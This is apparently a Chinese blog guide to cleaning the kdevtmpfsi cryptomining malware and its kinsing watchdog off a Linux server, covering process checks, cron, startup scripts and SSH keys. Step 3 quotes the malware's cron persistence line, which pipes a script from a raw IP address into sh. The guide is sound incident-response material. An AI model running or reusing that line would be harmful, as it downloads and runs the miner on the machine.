检查服务器发现资源被kdevtmpfsi占用,这是挖矿进程,必须清理一下。 

 

1. 检查资源占用最高的进程

top -H / top -c

清理 kdevtmpfsi 挖矿进程_清理挖矿进程

 

2. 杀掉进程,删除文件

kdevtmpfsi 有守护进程 kinsing,单独kill掉 kdevtmpfsi 无用。查看进程号后再kill,并清理掉文件。一般在 /tmp 及 /var/tmp/下。

ps -ef | grep kinsing
ps -ef | grep kdevtmpfsi

清理 kdevtmpfsi 挖矿进程_清理挖矿进程_02

 

3. 清理定时

因为挂载Yarn用户下,检查 crontab 下是否有其他定时,清除掉。

 crontab -e -u yarn

# 清除
# * * * * * curl http://195.3.146.118/h2.sh | sh > /dev/null 2>&1

 

4. 清理启动项

检查是否有可疑启动项,清除。

cd /etc/rc.d/
# 及目录下 /etc/rc0.d/、/etc/rc1.d/、/etc/rc2.d/、/etc/rc3.d/、/etc/rc4.d/、/etc/rc5.d/、/etc/rc6.d/

cat /etc/rc.local
cat /etc/inittab

 

5. 清理公钥

检查是否有可疑公钥。

cat ~/.ssh/authorized_keys

 

6. 修复

根据实际情况,修复被利用的漏洞,或设置定向访问,或配置权限,或修复防火墙等等。